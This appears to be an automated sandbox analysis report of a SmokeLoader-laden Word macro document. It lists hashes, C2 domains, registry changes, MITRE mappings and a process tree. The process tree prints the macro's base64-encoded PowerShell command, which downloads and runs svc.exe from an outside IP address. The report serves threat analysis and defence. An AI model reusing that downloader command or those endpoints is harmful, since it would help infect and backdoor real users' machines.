smokeloader | 616476ce3c35d67b5edbb73b6c8965d5894f404f90074add16986f8d5c81d6f0

General

Target

616476ce3c35d67b5edbb73b6c8965d5894f404f90074add16986f8d5c81d6f0.docm
Size

518KB
MD5

1f2d795ca29afadf24325cfbb3f60e4e
SHA1

d5e05bf7300a09b6706082907e726b0d5a09e550
SHA256

616476ce3c35d67b5edbb73b6c8965d5894f404f90074add16986f8d5c81d6f0
SHA512

40ff395e3e62e9c0b47d9ec088129042b26ceeee28c76c23615086c33fcbc57250a8c4ea53464dfd5398a5e023743dca988d7c86ec1f6039a873d8b3352393b7
SSDEEP

6144:sEc+F+HLHNIvPl8qZDC9VT8L38S8WyI6OLxoq5seCsH8BB3y8dqtUO2TsyUrOSo:sEcJHNopZW9eLH8WyITLfyXXvqxj9o

Score

10^/10

smokeloader backdoor trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://94.232.249.161/download/svc.exe

Extracted

Family

smokeloader

Version

2022

C2

http://rafraystore.ru/index.php

http://picwalldoor.ru/index.php

http://agentsuperpupervinil.ru/index.php

http://vivianstyler.ru/index.php

http://sephoraofficetz.ru/index.php

http://vikompalion.ru/index.php

http://ccbaminumpot.ru/index.php

rc4.i32

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	2532	2780	cmd.exe	WINWORD.EXE

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

4 2964 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

svc.exe

pid process

2304 svc.exe
Loads dropped DLL 4 IoCs

Processes:

powershell.exe

pid process

2964 powershell.exe
2964 powershell.exe
2964 powershell.exe
2964 powershell.exe
Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

flow	pid	process
4	2964	powershell.exe

pid	process
2304	svc.exe

pid	process
2964	powershell.exe
2964	powershell.exe
2964	powershell.exe
2964	powershell.exe

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

svc.exe

description	ioc	process
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	svc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	svc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	svc.exe

Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

2288 timeout.exe

pid	process
2288	timeout.exe

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE

Modifies registry class 64 IoCs

Processes:

WINWORD.EXE

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\ = "&Print"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\ShellEx	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohevi.dll"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\mhtmlfile	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\htmlfile	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon\ = "\"%1\""	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

2780 WINWORD.EXE

pid	process
2780	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exesvc.exe

pid	process
2404	powershell.exe
2964	powershell.exe
2304	svc.exe
2304	svc.exe
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180
1180

Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

svc.exe

pid process

2304 svc.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2404 powershell.exe
Token: SeDebugPrivilege 2964 powershell.exe
Token: SeShutdownPrivilege 1180
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

2780 WINWORD.EXE
2780 WINWORD.EXE

pid	process
2304	svc.exe

description	pid	process
Token: SeDebugPrivilege	2404	powershell.exe
Token: SeDebugPrivilege	2964	powershell.exe
Token: SeShutdownPrivilege	1180

pid	process
2780	WINWORD.EXE
2780	WINWORD.EXE

Suspicious use of WriteProcessMemory 24 IoCs

Processes:

WINWORD.EXEcmd.exepowershell.exepowershell.exe

description	pid	process	target process
PID 2780 wrote to memory of 2532	2780	WINWORD.EXE	cmd.exe
PID 2780 wrote to memory of 2532	2780	WINWORD.EXE	cmd.exe
PID 2780 wrote to memory of 2532	2780	WINWORD.EXE	cmd.exe
PID 2780 wrote to memory of 2532	2780	WINWORD.EXE	cmd.exe
PID 2532 wrote to memory of 2288	2532	cmd.exe	timeout.exe
PID 2532 wrote to memory of 2288	2532	cmd.exe	timeout.exe
PID 2532 wrote to memory of 2288	2532	cmd.exe	timeout.exe
PID 2532 wrote to memory of 2288	2532	cmd.exe	timeout.exe
PID 2780 wrote to memory of 2560	2780	WINWORD.EXE	splwow64.exe
PID 2780 wrote to memory of 2560	2780	WINWORD.EXE	splwow64.exe
PID 2780 wrote to memory of 2560	2780	WINWORD.EXE	splwow64.exe
PID 2780 wrote to memory of 2560	2780	WINWORD.EXE	splwow64.exe
PID 2532 wrote to memory of 2404	2532	cmd.exe	powershell.exe
PID 2532 wrote to memory of 2404	2532	cmd.exe	powershell.exe
PID 2532 wrote to memory of 2404	2532	cmd.exe	powershell.exe
PID 2532 wrote to memory of 2404	2532	cmd.exe	powershell.exe
PID 2404 wrote to memory of 2964	2404	powershell.exe	powershell.exe
PID 2404 wrote to memory of 2964	2404	powershell.exe	powershell.exe
PID 2404 wrote to memory of 2964	2404	powershell.exe	powershell.exe
PID 2404 wrote to memory of 2964	2404	powershell.exe	powershell.exe
PID 2964 wrote to memory of 2304	2964	powershell.exe	svc.exe
PID 2964 wrote to memory of 2304	2964	powershell.exe	svc.exe
PID 2964 wrote to memory of 2304	2964	powershell.exe	svc.exe
PID 2964 wrote to memory of 2304	2964	powershell.exe	svc.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\616476ce3c35d67b5edbb73b6c8965d5894f404f90074add16986f8d5c81d6f0.docm"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2780

C:\Windows\SysWOW64\cmd.exe
cmd /c timeout 3 && Powershell -C $B = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String('JFdlYiA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7ICRVcmwgPSAnaHR0cDovLzk0LjIzMi4yNDkuMTYxL2Rvd25sb2FkL3N2Yy5leGUnOyAkUHRoID0gIiRlbnY6VGVtcFxzdmMuZXhlIjsgJFdlYi5Eb3dubG9hZEZpbGUoJFVybCwgJFB0aCk7IEludm9rZS1FeHByZXNzaW9uICRQdGg7')); $C = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($B)); powershell -E $C;
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2532

C:\Windows\SysWOW64\timeout.exe
timeout 3
3⤵
- Delays execution with timeout.exe
PID:2288

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Powershell -C $B = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String('JFdlYiA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7ICRVcmwgPSAnaHR0cDovLzk0LjIzMi4yNDkuMTYxL2Rvd25sb2FkL3N2Yy5leGUnOyAkUHRoID0gIiRlbnY6VGVtcFxzdmMuZXhlIjsgJFdlYi5Eb3dubG9hZEZpbGUoJFVybCwgJFB0aCk7IEludm9rZS1FeHByZXNzaW9uICRQdGg7')); $C = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($B)); powershell -E $C;
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2404

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -E JABXAGUAYgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAIAAkAFUAcgBsACAAPQAgACcAaAB0AHQAcAA6AC8ALwA5ADQALgAyADMAMgAuADIANAA5AC4AMQA2ADEALwBkAG8AdwBuAGwAbwBhAGQALwBzAHYAYwAuAGUAeABlACcAOwAgACQAUAB0AGgAIAA9ACAAIgAkAGUAbgB2ADoAVABlAG0AcABcAHMAdgBjAC4AZQB4AGUAIgA7ACAAJABXAGUAYgAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABVAHIAbAAsACAAJABQAHQAaAApADsAIABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAkAFAAdABoADsA
4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2964

C:\Users\Admin\AppData\Local\Temp\svc.exe
"C:\Users\Admin\AppData\Local\Temp\svc.exe"
5⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:2304

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:2560

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm
Filesize
20KB

MD5
48caf0286974c79b80e98004a2ad0739

SHA1
98d1af8656ac1df1fe7239a15bcbe7383b13745b

SHA256
bca293dd8c7bb90f5cf2df18c719435f6bf9228652b2b1cd05617db550dba7dd

SHA512
d7449a2c652e6331021371cceee7a0266de855da4f5e7bab6f4ccec8a6e2c62063f69a2f1d27973b8441ec4e24207f1272fb735d96eb670eff7306c0a92d82e0

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Filesize
7KB

MD5
5338c613181ac96c44b0cc4cc8912e50

SHA1
46c2717a1e32d6d880802f2eda60b82282cabafb

SHA256
1b8d6e9144518caf4aeb036c5f2b6e9763dfd193f96f6c6ee8ec92ba7bf52c84

SHA512
7408315866fdb39f596d157e2392e01ae32231aef53375d486997654b5474bd8c28ebe64c5fc13462c723246eaae691a2cc1644e7ac98e72b8dfa727d4cd0f9a

Download Submit
\Users\Admin\AppData\Local\Temp\svc.exe
Filesize
180KB

MD5
92c57dd80b764a028749520017d44e76

SHA1
f732220adaacf23de6cc69d964341766d2e350d9

SHA256
dbd741a45d840d06d708339f9e9824f2a0d745ea6537ca44bff233ba7441bfda

SHA512
dd7d363fef5750a256abc2ae43d17f8e4788d392afaa74a2085f34da05efeb12373f38fbf480e1c86eb2759c667c971c7c54512f5d59ee61f5a0a4341ac406c8

Download Submit
memory/1180-36-0x0000000002DA0000-0x0000000002DB6000-memory.dmp

Filesize
88KB

Download
memory/2304-37-0x0000000000400000-0x0000000002349000-memory.dmp

Filesize
31.3MB

Download
memory/2404-16-0x0000000002F60000-0x0000000002FBB000-memory.dmp

Filesize
364KB

Download
memory/2780-40-0x00000000719CD000-0x00000000719D8000-memory.dmp

Filesize
44KB

Download
memory/2780-6-0x00000000051F0000-0x00000000052F0000-memory.dmp

Filesize
1024KB

Download
memory/2780-7-0x00000000051F0000-0x00000000052F0000-memory.dmp

Filesize
1024KB

Download
memory/2780-5-0x00000000051F0000-0x00000000052F0000-memory.dmp

Filesize
1024KB

Download
memory/2780-2-0x00000000719CD000-0x00000000719D8000-memory.dmp

Filesize
44KB

Download
memory/2780-0-0x000000002F861000-0x000000002F862000-memory.dmp

Filesize
4KB

Download
memory/2780-41-0x00000000051F0000-0x00000000052F0000-memory.dmp

Filesize
1024KB

Download
memory/2780-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2780-64-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
